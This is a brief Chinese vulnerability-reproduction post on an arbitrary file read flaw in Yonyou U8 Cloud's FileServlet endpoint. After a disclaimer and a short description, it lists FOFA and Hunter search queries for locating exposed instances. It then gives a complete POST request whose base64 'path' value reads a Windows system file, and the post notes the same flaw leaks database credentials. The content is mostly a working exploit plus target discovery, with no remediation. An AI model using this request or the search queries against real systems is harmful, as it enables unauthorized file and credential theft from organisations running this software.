【漏洞复现】用友U8 Cloud FileServlet 任意文件读取

免责声明：文章来源互联网收集整理，文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！

一、漏洞描述

用友U8 cloud /servlet/nc.bs.hr.tools.trans.FileServlet 任意文件读取漏洞，泄露数据库账号及密码等敏感信息。

二、影响版本

• 用友U8 Cloud

三、资产测绘

• hunterapp.name="用友 U8 Cloud"

• fofa：app="用友-U8-Cloud"

• 登录页面

四、漏洞复现

POST /servlet/nc.bs.hr.tools.trans.FileServlet HTTP/1.1
Host: 
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

path=QzovV2luZG93cy93aW4uaW5p